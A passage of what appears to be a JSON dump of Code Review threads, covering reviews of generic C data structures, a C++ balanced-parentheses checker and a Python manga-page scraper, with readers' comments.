DEFINE_DYNAMIC_ARRAY_STRUCT(T) \\\nstruct DynamicArrayTag_##T { \\\n float load; \\\n ptrdiff_t nmemb; \\\n ptrdiff_t capacity; \\\n T *array; \\\n}; \\\ntypedef struct DynamicArrayTag_##T DynamicArray_##T;\n</code></pre>\n\n<hr>\n\n<p><strong>- <code>double</code> vs <code>float</code></strong></p>\n\n<p>Unless you have a very good reason, always use <code>double</code>.</p>\n\n<p>It's usually faster, and has a lot more precission. Only some embedded systems should use <code>float</code>. Or one can also use <code>float</code> for huge arrays of floating-point numbers, where precission is not important, and cache/RAM speed is a problem.</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#define EXPANSION_POINT (1.0) /* load > this -> array expands */\n#define CONTRACTION_POINT (0.3) /* load < this -> array contracts */\n/* Expanded capacity = this * old capacity */\n#define EXPANSION_FACTOR (2.0)\n/* Contracted capacity = this * old capacity */\n#define CONTRACTION_FACTOR (0.5)\n\n#define DEFINE_DYNAMIC_ARRAY_STRUCT(T) \\\nstruct DynamicArrayTag_##T { \\\n double load; \\\n ptrdiff_t nmemb; \\\n ptrdiff_t capacity; \\\n T *array; \\\n}; \\\ntypedef struct DynamicArrayTag_##T DynamicArray_##T;\n</code></pre>\n\n<hr>\n\n<p><strong>- <code>EXPANSION_POINT</code></strong></p>\n\n<p>Given the instability of floating-point arithmetics, I would set the expansion point a bit lower than <code>1.0</code> (maybe <code>0.85</code>).</p>\n\n<p>An even better option, if you want it to be <code>1</code> is to use the integer values directly (and delete <code>EXPANSION_POINT</code>):</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>if (self->size == self->capacity)\n // Expand\n</code></pre>\n\n<hr>\n\n<p>Fixed code sample:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#define DEFINE_DYNAMIC_ARRAY_INSERT_ELEM(T) \nstatic int dynamic_array_##T##_insert_elem(DynamicArray_##T *self, \\\n T elem, ptrdiff_t i) \\\n{ \\\n ptrdiff_t j; \\\n int status; \\\n \\\n /* Expand if needed. */ \\\n if (self->size == self->capacity) { \\\n status = dynamic_array_##T##_expand(self); \\\n if (status) \\\n return status; \\\n } \\\n \\\n for (j = self->nmemb; j > i; j--) \\\n self->array[j] = self->array[j - 1]; \\\n self->array[j] = elem; \\\n self->nmemb++; \\\n dynamic_array_##T##_recalc_load(self); \\\n \\\n return 0; \\\n}\n</code></pre>\n\n<hr>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T16:21:56.077",
"Id": "431776",
"Score": "1",
"body": "All great points. Thanks for reading my code :)!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T03:56:09.687",
"Id": "431816",
"Score": "1",
"body": "\"Functions that accept 0 parameters should always be defined as type foo(void)\" --> Clarity: Function _definition_ a `foo() { ... }` is the same as `foo(void) { ... }` - so that is only a style difference. Still since it is a difference in a _declaration_ the advice is reasonable: use `(void)`. UV"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T11:44:51.687",
"Id": "431874",
"Score": "0",
"body": "@chux That's what I say in the next paragraph (sorry if it's not very clear). I think I learnt that from you a few months ago :). Btw, what does UV mean?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T12:31:33.577",
"Id": "431884",
"Score": "0",
"body": "Cacahuete Frito: Up-vote"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T15:49:06.833",
"Id": "222938",
"ParentId": "222896",
"Score": "9"
}
},
{
"body": "<p>First impressions: I like the comments that clearly specify preconditions and postconditions - very valuable in C! One thing that wasn't clear was the meaning of the return value from the insert/add/remove methods - is that the number of elements added/removed?</p>\n\n<p>It would be nice to have a list of all the functions at the top of the file (I was surprised to find no accessor to return the size of a dynamic array).</p>\n\n<p>It's a shame there's no simple <code>main()</code> included.</p>\n\n<hr>\n\n<p>A limitation of pasting type names to create identifiers is that it requires typedefs for types such as <code>long long</code> or <code>struct foo</code> or <code>char*</code>. We can probably live with that.</p>\n\n<hr>\n\n<p>Here's a memory leak:</p>\n\n<blockquote>\n<pre><code>LinkedListNode *new_node;\nLinkedList *new_llist;\n\nnew_node = create_node(head_key); \nnew_llist = malloc(sizeof(LinkedList));\nif (new_node == NULL || new_llist == NULL)\n{\n /* Allocation failed. */\n return NULL;\n}\n</code></pre>\n</blockquote>\n\n<p>If one of the allocations succeeds and the other fails, we never free the successful one, and lose our reference to it.</p>\n\n<p>Thankfully, <code>free()</code> will do the right thing when given a null pointer, so we can unconditionally free both pointers:</p>\n\n<pre><code>LinkedListNode *const new_node = create_node(head_key); \nLinkedList *const new_llist = malloc(sizeof *new_llist);\n\nif (new_node == NULL || new_llist == NULL) {\n /* Allocation failed. */\n free(new_node);\n free(new_llist);\n return NULL;\n}\n</code></pre>\n\n<hr>\n\n<p>A nicety: it may simplify calling code if it can accept a null pointer instead of a list:</p>\n\n<pre><code>#define DEFINE_DYNAMIC_ARRAY_DTOR(T) \\\n void dynamic_array_##T##_destruct(DynamicArray_##T *self) \\\n { \\\n if (self) { \\\n free(self->array); \\\n free(self); \\\n } \\\n }\n</code></pre>\n\n<p>This makes it behave more like <code>free()</code> causing less surprise to users.</p>\n\n<hr>\n\n<p>I don't think there's much to be gained by having <code>load</code> as a member, given that it can always be obtained from <code>size</code> and <code>capacity</code>.</p>\n\n<hr>\n\n<p>We can make the expand/contract functions much more efficient, by using <code>realloc()</code> instead of <code>malloc()</code> and copy every time:</p>\n\n<pre><code>#define DEFINE_DYNAMIC_ARRAY_EXPAND(T) \\\n static int dynamic_array_##T##_expand(DynamicArray_##T *self) \\\n { \\\n size_t new_capacity = EXPANSION_FACTOR * (self->capacity); \\\n T *new_array = realloc(self->array, new_capacity * sizeof (T)); \\\n if (!new_array) { \\\n /* Return and do not alter original array. */ \\\n return 1; \\\n } \\\n \\\n self->array = new_array; \\\n self->capacity = new_capacity; \\\n dynamic_array_##T##_recalc_load(self); \\\n return 0; \\\n }\n</code></pre>\n\n<p><code>realloc()</code> only needs to copy data if it couldn't extend the existing allocation.</p>\n\n<p>The <code>contract()</code> function has almost exactly the same code, with only a different <code>new_capacity</code> calculation (and perhaps should be merged).</p>\n\n<p>On a related note, instead of loops like this:</p>\n\n<blockquote>\n<pre><code>/* Move all elements in [i+1..self->size) forward one index. */ \\\narray = self->array; \\\nfor (idx = self->size; idx > i; idx--) \\\n{ \\\n array[idx] = array[idx - 1]; \\\n} \\\n</code></pre>\n</blockquote>\n\n<p>we could save both code and CPU time by using <code>memmove()</code> (untested):</p>\n\n<pre><code> /* Move all elements in [i+1..self->size) forward one index. */ \\\n memmove(self->array + i + 1, self->array + i, \\\n (self->size - i) * sizeof *self->array); \\\n</code></pre>\n\n<p>And in the <code>delete_elem()</code>:</p>\n\n<pre><code> /* Copy every element in [i+1..) back one index. Overwrites array[i] */ \\\n memmove(self->array + i, self->array + i + 1, \\\n (self->size - i) * sizeof *self->array); \\\n</code></pre>\n\n<hr>\n\n<p>We have unused local variables called <code>idx</code> in several functions: <code>linked_list_add_at()</code>, <code>linked_list_remove_at()</code>, <code>linked_list_remove_key()</code>, <code>linked_list_contains_key()</code>, <code>linked_list_get_key()</code>.</p>\n\n<p>The dynamic array <code>construct</code> declaration ought to be a prototype (explicitly declare <code>(void)</code> = no arguments, rather than <code>()</code> = unspecified arguments).</p>\n\n<p>Make <code>INIT_CAPACITY</code> an unsigned type to prevent unexpected promotion when multiplying by <code>size_t</code>. Using <code>double</code> rather than <code>float</code> for the other constants reduces compiler warnings, too.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T15:44:11.787",
"Id": "431920",
"Score": "0",
"body": "I already mentioned that one (there: Be careful with error handling); although maybe I should have explained it a bit more :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T15:47:51.600",
"Id": "431926",
"Score": "1",
"body": "Ah, I missed that, because you saw it in a different function. But we have different mitigations, so both answers have value, I think."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T14:52:15.737",
"Id": "222991",
"ParentId": "222896",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T22:15:26.383",
"Id": "222896",
"Score": "9",
"Tags": [
"c",
"linked-list",
"generics",
"vectors",
"c89"
],
"Title": "Generic data structures in C"
} | 222896 |
<p>Here is a small program for checking if the parentheses are balanced or not. I am new to the standard library, and this is my first program. How can I improve it?
Any kind of modifications or alternatives and suggestions are welcomed.</p>
<pre><code>#include <iostream>
#include <stack>
#include <string>
using namespace std;
bool checkParentheses(string str, stack<char> s) {
int flag = 0;
char top;
for(int i=0;i<str.length();i++) {
if(str[i] == '(' || str[i] == '{' || str[i] == '[') {
s.push(str[i]);
}
else {
if(s.empty()) {
flag = 1;
break;
}
else {
top = s.top();
}
if(str[i] == ')' && top == '('){
s.pop();
}
else if(str[i] == '}' && top == '{'){
s.pop();
}
else if(str[i] == ']' && top == '['){
s.pop();
}
else {
flag = 1;
break;
}
}
}
if(s.empty() && flag == 0) {
return true;
}
else if (flag == 1) {
return false;
}
else {
return false;
}
}
int main() {
stack <char> s;
string str;
cout << "Enter an expression with brackets: " << endl;
cin >> str;
cout << str << endl;
if(checkParentheses(str, s)) {
cout << "Expression is valid!" << endl;
}
else {
cout << "Expression is not valid" << endl;
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T20:26:53.687",
"Id": "431799",
"Score": "1",
"body": "And since we're doing a code review: Remember consistent indention and bracket style. Just keep focus on it until it's muscle memory."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T06:23:09.493",
"Id": "431822",
"Score": "0",
"body": "@ClausJørgensen what is wrong with bracket style? I'll work on the indentation."
}
] | [
{
"body": "<ul>\n<li><p><code>using namespace std;</code> may seem fine for small projects, but <a href=\"https://stackoverflow.com/questions/1452721/why-is-using-namespace-std-considered-bad-practice\">can cause problems later</a> so it's best to avoid it.</p></li>\n<li><p>Prefer to output \"\\n\" instead of <code>std::endl</code>. <code>std::endl</code> will also flush the output stream, which is usually unnecessary.</p></li>\n<li><p>We should check that reading user input from <code>std::cin</code> didn't fail. We can do this by testing <code>std::cin.fail()</code> after reading the string.</p></li>\n<li><p>The stack variable isn't used outside of the <code>checkParentheses</code> function, so it should be declared inside the function.</p></li>\n<li><p>The <code>str</code> variable can be passed by const-reference, instead of by value (to avoid an unnecessary copy).</p></li>\n<li><p>The <code>flag</code> variable has two possible values signifying <code>true</code> or <code>false</code>. The <code>bool</code> type would thus be more appropriate than an <code>int</code>.</p></li>\n<li><p>There is no need to maintain a <code>top</code> variable. We can just use <code>s.top()</code> where necessary. Note that <a href=\"https://en.cppreference.com/w/cpp/container/stack/top\" rel=\"noreferrer\"><code>std::stack.top()</code> returns by reference</a>, so there is no need to worry about an extra copy, if that's why you're avoiding it.</p></li>\n<li><p>We should use the appropriate index type for indexing into a container (in the <code>for</code> loop). This is <code>std::size_t</code> (or <code>std::string::size_type</code>), not <code>int</code>.</p></li>\n<li><p>However, it's actually much easier to use a range-based <code>for</code> loop:</p>\n\n<pre><code>for (auto const& c : str) { ... }\n</code></pre></li>\n<li><p>There is quite a lot of redundancy in the return statements at the end (the <code>else</code> and <code>else if</code> both return <code>false</code>). We could simplify the condition to <code>return (s.empty() && flag = 0);</code></p></li>\n</ul>\n\n<hr>\n\n<p>Given the above, we would end up with something more like:</p>\n\n<pre><code>#include <cstdlib>\n#include <iostream>\n#include <stack>\n#include <string>\n\nbool checkParentheses(std::string const& str) {\n\n std::stack<char> s;\n\n for (auto const& c : str) {\n\n if (c == '(' || c == '{' || c == '[') {\n s.push(c);\n }\n else if (c == ')' || c == '}' || c == ']')\n {\n if (s.empty())\n return false;\n\n if (c == ')' && s.top() == '(') {\n s.pop();\n }\n else if (c == '}' && s.top() == '{') {\n s.pop();\n }\n else if (c == ']' && s.top() == '[') {\n s.pop();\n }\n else {\n return false;\n }\n }\n }\n\n return s.empty();\n}\n\nint main() {\n\n std::cout << \"Enter an expression with brackets: \\n\";\n\n std::string str;\n std::cin >> str;\n\n if (std::cin.fail()) {\n std::cout << \"Invalid input!\\n\";\n return EXIT_FAILURE;\n }\n\n std::cout << str << \"\\n\";\n std::cout << \"Expression is \" << (checkParentheses(str) ? \"valid!\" : \"not valid\") << \"\\n\";\n\n return EXIT_SUCCESS; // (done implicitly if this isn't here)\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T10:25:16.720",
"Id": "431709",
"Score": "3",
"body": "Doesn't your code consider a string like `()]` balanced?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T11:51:32.987",
"Id": "431729",
"Score": "4",
"body": "Nope it just crashes. >.> Fixed it, thanks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T15:53:21.247",
"Id": "431774",
"Score": "2",
"body": "When handling interactive user input you need `std::endl` instead of `\"\\n\"` or flush the stream otherwise. Your code *may* work but it also may not. Of course bettert yet would be not to perform interactive input handling at all, since the C++ standard streams aren’t really suited for that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T22:41:55.623",
"Id": "431804",
"Score": "2",
"body": "@KonradRudolph According to https://en.cppreference.com/w/cpp/io/cin: \"Once std::cin is constructed, std::cin.tie() returns &std::cout [...] This means that any formatted input operation on std::cin forces a call to std::cout.flush() if any characters are pending for output.\" So no, the stream flushes automatically if needed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T22:49:50.550",
"Id": "431805",
"Score": "1",
"body": "@N.Shead Good to know. I know for sure that stdlibc++ didn’t reliably do this, not so long ago. Must have been a bug then."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T06:24:54.810",
"Id": "431823",
"Score": "0",
"body": "So `std::endl` or `\\n` ? can anyone explain?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T12:58:24.450",
"Id": "431886",
"Score": "4",
"body": "@dsaharia Use `\"\\n\"` unless you *explicitly* want to flush the stream (and, as explained in N. Shead’s comment, this isn’t necessary here). `x << std::endl` is exactly equivalent to `x << '\\n' << std::flush;`: https://en.cppreference.com/w/cpp/io/manip/endl — In most code you’ll find in the wild, `std::endl` is used unnecessarily."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T08:21:31.803",
"Id": "222907",
"ParentId": "222903",
"Score": "12"
}
},
{
"body": "<p>Avoid <code>using namespace std;</code> - it's a large namespace, and growing as new C++ standards appear. Bringing all its names into the global namespace completely obviates the benefits of namespaces, and in the worst case, can silently change the meaning of a program. Get used to using the (very short) namespace prefix <code>std::</code>.</p>\n\n<p>When we call <code>checkParentheses()</code>, we have to provide a stack for it to use. If we're not using the stack outside of the function, then it could just be a local variable. Alternatively, we could choose to share it with the caller, so we could supply the input in chunks. If we did that, we'd want to pass it by reference, so that the changed stack can be passed into the next call.</p>\n\n<p>We're not modifying the string argument, so it makes sense to pass it as a reference to const. When we use it, we're only interested in its characters in turn, so we can replace the <code>for</code> loop with a range-based <code>for</code>, eliminating the variable <code>i</code>:</p>\n\n<pre><code>for (char c: str) {\n if (c == '(' || c == '{' || c == '[') {\n s.push(c);\n }\n else\n</code></pre>\n\n<p>We can eliminate the <code>flag</code> variable, as whenever we set it, we immediately return:</p>\n\n<pre><code> if(s.empty()) {\n return false;\n }\n</code></pre>\n\n<p>Before we remove it, I'll just make a small observation on the final test of <code>flag</code>, where we have two branches of an <code>if</code> test that result in the same behaviour:</p>\n\n<blockquote>\n<pre><code>else if (flag == 1) {\nreturn false;\n}\nelse {\nreturn false;\n}\n</code></pre>\n</blockquote>\n\n<p>Obviously, that could just be replaced with</p>\n\n<pre><code>else {\n return false;\n}\n</code></pre>\n\n<p>In fact, we can simple replace that <code>if</code>/<code>else</code> with a single statement:</p>\n\n<pre><code>return s.empty() && !flag;\n</code></pre>\n\n<p>With the above changes, we've simplified it a bit:</p>\n\n<pre><code>bool checkParentheses(const std::string& str)\n{\n std::stack<char> s;\n for (char c: str) {\n if (c == '(' || c == '{' || c == '[') {\n s.push(c);\n } else {\n if (s.empty()) {\n return false;\n }\n\n char top = s.top();\n if (c == ')' && top == '(') {\n s.pop();\n } else if (c == '}' && top == '{') {\n s.pop();\n } else if (c == ']' && top == '[') {\n s.pop();\n } else {\n return false;\n }\n\n }\n }\n\n return s.empty();\n}\n</code></pre>\n\n<p>We still have some quite repetitive code where we match a closing bracket against its opening one. We can make this simpler and also more flexible (so that we could match <code>«</code> with <code>»</code>, for example), by using a fixed map from opening to closing character:</p>\n\n<pre><code>static const std::map<char,char> pairs =\n { {'(', ')'},\n {'{', '}'},\n {'[', ']'} };\n</code></pre>\n\n<p>We can use this to replace the chained <code>if</code>/<code>else if</code>/<code>else</code> by storing the <em>expected</em> closing character on the stack and then simply comparing:</p>\n\n<pre><code> if (pairs.count(c)) {\n s.push(pairs.at(c));\n } else {\n if (s.empty() || s.top() != c) {\n return false;\n }\n s.pop();\n }\n</code></pre>\n\n<p>Finally, the presentation can be improved. Please be a bit more generous with space around operators - it really does make the code easier to read! The indentation looks wrong, but perhaps that's an artefact of how it was copied into Stack Exchange. If you used tabs for indentation, that can get corrupted (as SE has tab stops every 4 positions, rather than the normal 8).</p>\n\n<hr>\n\n<h1>Modified code</h1>\n\n<pre><code>#include <map>\n#include <stack>\n#include <string>\n\nbool checkParentheses(const std::string& str)\n{\n static const std::map<char,char> pairs =\n { {'(', ')'},\n {'{', '}'},\n {'[', ']'} };\n\n std::stack<char> s;\n for (char c: str) {\n if (pairs.count(c)) {\n s.push(pairs.at(c));\n } else {\n if (s.empty() || s.top() != c) {\n return false;\n }\n s.pop();\n }\n }\n\n return s.empty();\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T10:04:45.887",
"Id": "431704",
"Score": "1",
"body": "Is there an actual benefit to using `=` in conjunction with brace-init or is it just due to habit/readability?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T10:10:16.487",
"Id": "431706",
"Score": "2",
"body": "Just habit - the `=` can be omitted for exactly equivalent code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T11:00:31.687",
"Id": "431715",
"Score": "1",
"body": "I haven't learned about maps yet. But thank you very much, I'll clean up my code. I'll post any doubts."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T11:21:32.517",
"Id": "431719",
"Score": "1",
"body": "I could use `using namespace std::cout;` right? @T"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T11:33:33.910",
"Id": "431721",
"Score": "4",
"body": "If you mean `using std::cout;`, then yes, that's less bad (but I'd recommend you reduce its scope to just within `main()`). It's `using namespace` that can bring big surprises."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T02:46:01.710",
"Id": "431814",
"Score": "1",
"body": "Note that since you don’t compare the ASCII values of any of the map keys, you can use a `std::unordered_map` rather than a `std::map`, which is probably implemented with a hash table rather than a search tree for faster lookups. For such a small structure, it's not significant, though."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T07:44:26.593",
"Id": "431830",
"Score": "0",
"body": "Yes @Davislor, I was too lazy to type the `unordered_` ;-) BTW, nobody said the character encoding has to be ASCII - this is *portable* code!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T13:07:35.523",
"Id": "431889",
"Score": "0",
"body": "@TobySpeight All the more reason to make the map unordered. Otherwise, if compiled on an IBM mainframe with EBCDIC as the execution character set, you might get different behavior!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T15:34:15.707",
"Id": "431918",
"Score": "0",
"body": "Nobody have pointed that out yet — use `std::string_view` instead of `const std::string&` if you can. (Only reason I'm not doing so in real code is requirement to keep zero-terminator to work with C API)."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T08:45:39.107",
"Id": "222910",
"ParentId": "222903",
"Score": "19"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T04:28:00.740",
"Id": "222903",
"Score": "9",
"Tags": [
"c++",
"beginner",
"stack",
"balanced-delimiters"
],
"Title": "Balanced parentheses using standard C++"
} | 222903 |
<p>I wrote a program to download a manga series fron www.mangapanda.com</p>
<p>Here it is:</p>
<pre><code>import os
import requests
from lxml import html
from cleanname import clean_filename
dir_loc = r''
website_url = r'https://www.mangapanda.com'
manga_url = r'https://www.mangapanda.com/one-piece'
def check_url(url):
url_status = requests.head(url)
if url_status.status_code < 400:
return True
return False
def scrap_chapter_list(url, respose):
dic = {'chapter': '', 'name': '', 'link': ''}
# start scrapping
# soup = BeautifulSoup(respose.text,'html.parser')
tree = html.fromstring(respose.content)
return None
def get_list_of_chapers(url):
if check_url(url):
response = requests.get(url).content
tree = html.fromstring(response)
path = r'//*/div[@id="chapterlist"]/table[@id="listing"]/tr/td/a'
res = tree.xpath(path)
dic = {'chapter': '', 'url': '', 'name': ''}
result = []
for i in res:
dic['chapter'] = i.text
dic['url'] = website_url + i.attrib['href']
dic['name'] = i.tail
result.append(dic)
dic = {'chapter': '', 'url': '', 'name': ''}
return result
return None
def get_page_list(chapter_url):
res = requests.get(chapter_url).content
path = r'//*/div[@id="selectpage"]/select[@id="pageMenu"]'
tree = html.fromstring(res)
data = tree.xpath(path)[0]
page_links = ['{}'.format(i.attrib['value']) for i in data]
return page_links
def get_image_from_page(url):
"""
:param url: url of the given manga page eg. /one-piece/1/1
:return: name of the page(manga name, link to the image file
"""
dic = {'page_name': '', 'source': ''}
page_url = r'{}{}'.format(website_url, url)
res = requests.get(page_url).content
path = r'//*/img[@id="img"]'
tree = html.fromstring(res)
result = tree.xpath(path)
dic['page_name'], dic['source'] = result[0].attrib['alt'], result[0].attrib['src']
return dic
def download_image(image_url):
image_file = requests.get(image_url).content
return image_file
def save_file(image_file, location, filename, img_format):
image_loc = os.path.join(location, filename)+img_format
with open(image_loc, 'wb') as file:
file.write(image_file)
return True if os.path.isfile(image_loc) else False
def get_page_details(chapter_url):
dic = {'page_link': '', 'page_name': '', 'source': ''}
page_details = get_page_list(chapter_url)
result = []
for page in page_details:
details = get_image_from_page(page)
dic['page_link'] = page
dic['page_name'], dic['source'] = details['page_name'], details['source']
result.append(dic)
dic = {'page_link': '', 'page_name': '', 'source': ''}
return result
# if __name__ == '__main__':
# from .cleanname import clean_filename
manga_url = r'https://www.mangapanda.com/akame-ga-kiru'
storing_location = r'C:\Users\prashra\Pictures\mangascrapper'
manga_name = manga_url.split('/')[-1]
location = os.path.join(storing_location, clean_filename(manga_name))
chapter_list = get_list_of_chapers(manga_url)[:6]
if not os.path.exists(location):
print('creating the folder {}'.format(manga_name))
os.makedirs(location)
for chapter in chapter_list:
name = r'{} {}'.format(chapter['chapter'], chapter['name'])
chapter_path = os.path.join(location, clean_filename(name))
print(chapter_path)
if not os.path.exists(chapter_path):
os.makedirs(chapter_path)
chapter_details = get_page_details(chapter['url'])
for _page in chapter_details:
name, src = _page['page_name'], _page['source']
img_format = '.' + src.split('.')[-1]
print('saving image {} in path {}'.format(name, chapter_path))
image_data = requests.get(src).content
save_file(image_data, chapter_path, name, img_format)
</code></pre>
<p>and in <code>cleanname.py</code> file</p>
<pre><code>import unicodedata
import string
valid_filename_chars = "-_ %s%s" % (string.ascii_letters, string.digits)
char_limit = 255
def clean_filename(filename, whitelist=valid_filename_chars, replace='_'):
# replace spaces
for r in replace:
filename = filename.replace(r, '_')
# keep only valid ascii chars
cleaned_filename = unicodedata.normalize('NFKD', filename).encode('ASCII', 'ignore').decode()
# keep only whitelisted chars
cleaned_filename = ''.join(c for c in cleaned_filename if c in whitelist)
if len(cleaned_filename) > char_limit:
print(
"Warning, filename truncated because it was over {}. Filenames may no longer be unique".format(char_limit))
return cleaned_filename[:char_limit]
</code></pre>
<p>I want to ask :</p>
<ol>
<li>review on this code</li>
<li>is it better to convert the code in classes form </li>
<li>how to make it scaleable, like to download a chapter only not entire list</li>
</ol>
| [] | [
{
"body": "<p>Just going to focus on your main program, not <code>cleanname.py</code>.</p>\n\n<ul>\n<li><strong>Import Order</strong>: This one is a personal preference. I like to have my imports ordered alphabetically. You can decide to follow this practice or not.</li>\n<li><strong>Docstrings</strong>: Docstrings are used to help identify what your method is supposed to do. You should include one in every method you write.</li>\n<li><strong>Unused variables/methods</strong>: You had a few unused variables and one method. You should remove these to improve the readability of your program, so someone doesn't have to look for 10 minutes (those without a linter, of course) before realizing it's never used in your code.</li>\n<li><strong>Return expressions</strong>: \n<code>if url_status.status_code < 400: return True ... return False</code> can be reduced to simply <code>return url_status.status_code < 400</code>. Returning expressions is much better than returning <code>True/False</code>, improves readability greatly.</li>\n<li><strong>Useless returns</strong>: If you're not expecting to return anything in a method, leave it as it is. Having the line <code>return None</code> is redundant, because any method that doesn't return anything automatically returns <code>None</code>.</li>\n<li><strong>Using <code>f\"\"</code> over <code>\"\".format(...)</code></strong>: This one is another preference, but having my strings formatted using <code>f\"...\"</code> looks much cleaner than using <code>.format</code>. It allows you to directly implement variables into your strings, rather than concatenating or using the format method.</li>\n<li><strong>Return/append anonymously</strong>: In many places, you create a dict, change it, append to a list, then reset the dict. That's a lot of steps for adding a dict to a list. You can simply appending an anonymous dict <code>result.append({ ... })</code> or <code>return { ... }</code>, so you don't need to keep creating/resetting a dict you're only using in that method.</li>\n<li><strong>Main guard</strong>: You should wrap any code that isn't in a function in a main guard. <a href=\"//stackoverflow.com/a/5544783\">Here</a> is an answer that provides a deeper and more meaningful explanation.</li>\n<li><strong>Constant Variable Names</strong>: Variables that are constants should be UPPERCASE.</li>\n</ul>\n\n<p><strong><em>Final Code</em></strong></p>\n\n<pre><code>import os\nimport requests\nfrom cleanname import clean_filename\nfrom lxml import html\n\ndef check_url(url):\n \"\"\" Returns the status code being less than 400 \"\"\"\n return requests.head(url).status_code < 400\n\ndef get_list_of_chapters(url):\n \"\"\" Returns a list of chapters from the specified `url` \"\"\"\n if check_url(url):\n response = requests.get(url).content\n tree = html.fromstring(response)\n path = r'//*/div[@id=\"chapterlist\"]/table[@id=\"listing\"]/tr/td/a'\n res = tree.xpath(path)\n result = []\n for i in res:\n result.append({\n 'chapter': i.text,\n 'url': WEBSITE_URL + i.attrib['href'],\n 'name': i.tail\n })\n return result\n return None\n\n\ndef get_page_list(chapter_url):\n \"\"\" Returns a list of link to the page on `chapter_url` \"\"\"\n res = requests.get(chapter_url).content\n path = r'//*/div[@id=\"selectpage\"]/select[@id=\"pageMenu\"]'\n tree = html.fromstring(res)\n data = tree.xpath(path)[0]\n page_links = [f\"{i.attrib['value']}\" for i in data]\n return page_links\n\ndef get_image_from_page(url):\n \"\"\" Gets the image from `url` \"\"\"\n page_url = f\"{WEBSITE_URL}{url}\"\n res = requests.get(page_url).content\n path = r'//*/img[@id=\"img\"]'\n tree = html.fromstring(res)\n result = tree.xpath(path)\n return {\n 'page_name': result[0].attrib['alt'],\n 'source': result[0].attrib['src']\n }\n\n\ndef download_image(image_url):\n \"\"\" Downloads image from `image_url` \"\"\"\n return requests.get(image_url).content\n\n\ndef save_file(image_file, save_location, filename, save_img_format):\n \"\"\" Saves the `image_file` to `location` with the name `filename` \"\"\"\n image_loc = os.path.join(save_location, filename) + save_img_format\n with open(image_loc, 'wb') as file:\n file.write(image_file)\n return os.path.isfile(image_loc)\n\n\ndef get_page_details(chapter_url):\n \"\"\" Gets the details about the page \"\"\"\n page_details = get_page_list(chapter_url)\n result = []\n for page in page_details:\n details = get_image_from_page(page)\n result.append({\n 'page_link': page,\n 'page_name': details['page_name'],\n 'source': details['source']\n })\n return result\n\n\nif __name__ == '__main__':\n\n DIR_LOC = r''\n WEBSITE_URL = r'https://www.mangapanda.com'\n MANGA_URL = r'https://www.mangapanda.com/one-piece'\n\n MANGA_URL = r'https://www.mangapanda.com/akame-ga-kiru'\n STORING_LOCATION = r'C:\\Users\\prashra\\Pictures\\mangascrapper'\n MANGA_NAME = MANGA_URL.split('/')[-1]\n LOCATION = os.path.join(STORING_LOCATION, clean_filename(MANGA_NAME))\n CHAPTER_LIST = get_list_of_chapters(MANGA_URL)[:6]\n\n if not os.path.exists(LOCATION):\n print(f\"Creating folder: {MANGA_NAME}\")\n os.makedirs(LOCATION)\n\n for chapter in CHAPTER_LIST:\n name = rf\"{chapter['chapter']}{chapter['name']}\"\n chapter_path = os.path.join(LOCATION, clean_filename(name))\n print(chapter_path)\n if not os.path.exists(chapter_path):\n os.makedirs(chapter_path)\n chapter_details = get_page_details(chapter['url'])\n for _page in chapter_details:\n name, src = _page['page_name'], _page['source']\n img_format = f\".{src.split('.')[-1]}\"\n print(f\"Saving image {name} in path {chapter_path}\")\n image_data = requests.get(src).content\n save_file(image_data, chapter_path, name, img_format)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-07-25T07:33:33.070",
"Id": "436293",
"Score": "1",
